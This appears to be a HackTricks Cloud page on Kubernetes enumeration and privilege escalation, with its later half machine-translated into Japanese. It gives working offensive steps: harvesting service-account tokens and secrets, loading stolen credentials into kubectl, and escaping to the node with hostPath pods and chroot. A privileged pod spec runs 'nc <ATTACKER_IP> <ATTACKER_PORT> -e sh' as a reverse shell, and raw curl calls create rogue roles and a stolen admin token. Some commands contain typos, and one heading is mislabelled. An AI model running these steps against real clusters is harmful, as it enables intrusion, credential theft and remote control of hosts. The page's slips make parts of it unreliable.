Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
T

29 KiB
Raw Blame History

Kubernetes Enumeration

{{#include ../../banners/hacktricks-training.md}}

Kubernetes Tokens

If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the env var KUBECONFIG or inside ~/.kube.

In this folder you might find config files with tokens and configurations to connect to the API server. In this folder you can also find a cache folder with information previously retrieved.

If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:

Service Account Tokens

Before continuing, if you don't know what is a service in Kubernetes I would suggest you to follow this link and read at least the information about Kubernetes architecture.

Taken from the Kubernetes documentation:

“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”

ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.

Usually one of the directories:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

contain the files:

  • ca.crt: It's the ca certificate to check kubernetes communications
  • namespace: It indicates the current namespace
  • token: It contains the service token of the current pod.

Now that you have the token, you can find the API server inside the environment variable KUBECONFIG. For more info run (env | set) | grep -i "kuber|kube"

The service account token is being signed by the key residing in the file sa.key and validated by sa.pub.

Default location on Kubernetes:

  • /etc/kubernetes/pki

Default location on Minikube:

  • /var/lib/localkube/certs

Hot Pods

Hot pods are pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.

RBAC

If you don't know what is RBAC, read this section.

GUI Applications

Enumeration CheatSheet

In order to enumerate a K8s environment you need a couple of this:

  • A valid authentication token. In the previous section we saw where to search for a user token and for a service account token.
  • The address (https://host:port) of the Kubernetes API. This can be usually found in the environment variables and/or in the kube config file.
  • Optional: The ca.crt to verify the API server. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using --insecure-skip-tls-verify with kubectl or -k with curl you won't need this.

With those details you can enumerate kubernetes. If the API for some reason is accessible through the Internet, you can just download that info and enumerate the platform from your host.

However, usually the API server is inside an internal network, therefore you will need to create a tunnel through the compromised machine to access it from your machine, or you can upload the kubectl binary, or use curl/wget/anything to perform raw HTTP requests to the API server.

Differences between list and get verbs

With get permissions you can access information of specific assets (describe option in kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

list 権限がある場合、ある種の asset を一覧表示する API リクエストを実行できます(kubectlget オプション):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

watch 権限がある場合、assets を監視するための API requests を実行できます:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

それらは、変更があるたびに(または新しいものが作成されたときに)Deployment の完全な manifest を返す streaming connection を開きます。

Caution

以下の kubectl commands は、オブジェクトの list の方法だけを示しています。データに access したい場合は、get ではなく describe を使う必要があります。

Using curl

pod の内部からは、いくつかの env variables を使えます:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Warning

デフォルトでは、pod はドメイン名 kubernetes.default.svckube-api serverアクセスでき、また /etc/resolv.config 内で kube network を確認できます。ここで kubernetes DNS server のアドレスが見つかります(同じレンジの ".1" は kube-api endpoint です)。

Using kubectl

トークンと API server のアドレスがあれば、ここに示すように kubectl または curl を使ってアクセスできます:

デフォルトでは、APISERVER は https:// schema で通信しています

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

url に https:// がない場合、Bad Request のような Error が出ることがあります。

official kubectl cheatsheet here を見ることができます。以下のセクションの目的は、アクセスを得た新しい K8s を列挙し理解するためのさまざまな options を、順序立てて示すことです。

kubectl が送信する HTTP request を見つけるには、parameter -v=8 を使用できます

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

現在の設定

{{#tabs }} {{#tab name="Kubectl" }}

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

{{#endtab }} {{#endtabs }}

ユーザーの認証情報をいくつか盗めたなら、次のような方法でローカルに設定できます:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

サポートされているリソースを取得

この情報があれば、列挙できるすべてのサービスがわかります

{{#tabs }} {{#tab name="kubectl" }}

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

{{#endtab }} {{#endtabs }}

確認すべき Object metadata

object を読める場合は、テーブル出力や describe だけに頼らず、完全な YAML または JSON を export してください。最も有用な security context は、さまざまな resource type に共通して存在する汎用の object fields に含まれていることが多いです:

kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
  • metadata.uid, name, namespace, apiVersion and kind は、正確なオブジェクトを特定し、異なる namespace や API group にある同名オブジェクトとの混同を避けます。
  • metadata.labels と selectors は、Services、Deployments、ReplicaSets、Pods、NetworkPolicies、automation を接続します。selectors をたどることは、Service の実際の backend pods を特定する最速の方法であることが多いです。
  • metadata.annotations には、ingress の挙動、cloud load balancer の設定、GitOps や Helm のメタデータ、policy exemptions、service mesh の設定などの運用コンテキストが漏れることがあります。ここに secrets を含めるべきではありませんが、実際の cluster では有用な手がかりが露出していることがよくあります。
  • metadata.ownerReferences は controller の系譜を示します。Pod が Deployment に owned された ReplicaSet に owned されている場合、Pod だけを変更または削除しても通常は原因を解決できません。
  • metadata.finalizersmetadata.deletionTimestamp は、削除処理で止まっている resource の理由を説明し、cleanup controllers や persistence/disruption の仕掛けを明らかにすることがあります。
  • status、Events、conditions からは、node placement、pod IPs、image IDs、failure messages、scheduling issues、admission denials、controller の進行状況を把握できます。これらは有用な手がかりですが、誰が action を実行したかを証明するには、audit logs が依然として必要です。

Get Current Privileges

{{#tabs }} {{#tab name="kubectl" }}

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

{{#endtab }}

{{#tab name="API" }}

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

{{#endtab }} {{#endtabs }}

権限を確認する別の方法は、ツール https://github.com/corneliusweig/rakkess**** を使うことです。

Kubernetes RBAC については、以下で詳しく学べます:

{{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}}

自分がどの権限を持っているか が分かったら、次のページを確認して、それらを悪用して 権限昇格できるかを判断してください:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}

他の roles を取得する

{{#tabs }} {{#tab name="kubectl" }}

k get roles
k get clusterroles

{{#endtab }}

{{#tab name="API" }}

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

{{#endtab }} {{#endtabs }}

ネームスペースの取得

Kubernetes は、同じ物理クラスタを基盤とする 複数の仮想クラスタ をサポートしています。これらの仮想クラスタは namespaces と呼ばれます。

{{#tabs }} {{#tab name="kubectl" }}

k get namespaces

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/

{{#endtab }} {{#endtabs }}

シークレットを取得する

{{#tabs }} {{#tab name="kubectl" }}

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

{{#endtab }} {{#endtabs }}

secretsを読める場合、以下の行を使用して各tokenに関連する権限を取得できます:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Service Account の取得

このページの冒頭で説明したように、pod が実行されると、通常は service account が割り当てられます。したがって、service account、その権限、そしてそれらがどこで実行されているかを列挙することで、ユーザーが権限を昇格できる可能性があります。

{{#tabs }} {{#tab name="kubectl" }}

k get serviceaccounts

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

{{#endtab }} {{#endtabs }}

Deployments を取得

Deployments は、ステートレスなアプリケーション workload の desired state を指定します。これは ReplicaSets を作成し、その ReplicaSets が Pods を作成します。

{{#tabs }} {{#tab name="kubectl" }}

k get deployments
k get deployments -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/

{{#endtab }} {{#endtabs }}

StatefulSets を取得する

StatefulSets は、安定した名前、順序付きのロールアウト動作、そして多くの場合レプリカごとの persistent volume を必要とする Pods を管理します。

{{#tabs }} {{#tab name="kubectl" }}

k get statefulsets
k get statefulsets -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/

{{#endtab }} {{#endtabs }}

Podsを取得

Podsは実際に実行されるcontainersです。

{{#tabs }} {{#tab name="kubectl" }}

k get pods
k get pods -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

{{#endtab }} {{#endtabs }}

サービスの取得

Kubernetes services は、特定のポートと IP で service を公開するために使われます(これは、実際に service を提供している pods に対する load balancer として動作します)。これは、攻撃を試みるべき他の services をどこで見つけられるかを知るうえで重要です。

{{#tabs }} {{#tab name="kubectl" }}

k get services
k get services -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/

{{#endtab }} {{#endtabs }}

ノードを取得

クラスタ内に設定されているすべてのnodesを取得します。

{{#tabs }} {{#tab name="kubectl" }}

k get nodes

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/nodes/

{{#endtab }} {{#endtabs }}

DaemonSetsの取得

DaemonSets は、クラスタ内の選択されたすべての node で特定の Pod が動作することを保証します。DaemonSet を削除すると、それによって管理されている Pod も削除されます。

{{#tabs }} {{#tab name="kubectl" }}

k get daemonsets

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets

{{#endtab }} {{#endtabs }}

ジョブの取得

Jobs は完了するまで実行される Pods を作成します。これは一般的に migration、backup、batch work、単発の administrative task に使われます。

{{#tabs }} {{#tab name="kubectl" }}

k get jobs
k get jobs -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs

{{#endtab }} {{#endtabs }}

CronJobの取得

CronJobは、crontabのようなスケジュールを使用して、タスク型実行のためにPodを起動するJobを作成します。

{{#tabs }} {{#tab name="kubectl" }}

k get cronjobs
k get cronjobs -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs

{{#endtab }} {{#endtabs }}

configMap を取得

configMap には常に多くの情報と、kubernetes 上で動作するアプリに提供される設定ファイルが含まれています。通常、他の internal/external service への接続や認証に使われる password、secrets、tokens を多く見つけることができます。

{{#tabs }} {{#tab name="kubectl" }}

k get configmaps # -n namespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

{{#endtab }} {{#endtabs }}

Network Policies / Cilium Network Policies の取得

{{#tabs }} {{#tab name="First Tab" }}

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

{{#endtab }} {{#endtabs }}

すべて取得 / All

{{#tabs }} {{#tab name="kubectl" }}

k get all

{{#endtab }} {{#endtabs }}

helmによって管理されているすべてのリソースを取得する

{{#tabs }} {{#tab name="kubectl" }}

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

{{#endtab }} {{#endtabs }}

Podの消費量を取得

{{#tabs }} {{#tab name="kubectl" }}

k top pod --all-namespaces

{{#endtab }} {{#endtabs }}

kubectlを使わずにclusterとやり取りする

Kubernetes control planeがREST-ful APIを公開しているため、HTTPリクエストを手作業で作成し、curlwget などの他のツールで送信できます。

podからの脱出

新しいpodを作成できる場合、そこからnodeへ脱出できるかもしれません。そのためには、yamlファイルを使って新しいpodを作成し、作成したpodへ移動してから、nodeのsystemへchrootする必要があります。既存のpodは、既存のimagesやpathesを表示しているため、yamlファイルの参照として利用できます。

kubectl get pod <name> [-n <namespace>] -o yaml

特定のnodeにpodを作成する必要がある場合は、nodeのlabelを取得するために次のコマンドを使えます

k get nodes --show-labels

一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択に使うのに適したlabelです。

その後、attack.yamlファイルを作成します

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

その後、podを作成します

kubectl apply -f attacker.yaml [-n <namespace>]

作成された pod には次のように切り替えられます

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

そして最後に、node の system に chroot します

chroot /root /bin/bash

Information obtained from: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube Episode 1

privileged pod の作成

対応する yaml ファイルは以下のとおりです:

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

curlでpodを作成する:

CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

podを削除する

curlでpodを削除する:

CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

Service Account を作成する

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Service Account を削除する

CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

Roleを作成する

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Role を削除する

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

Role Bindingを作成する

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Role Binding を削除する

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

SecretをDeleteする

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Secretを削除する

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

参考文献

{{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}}

{{#include ../../banners/hacktricks-training.md}}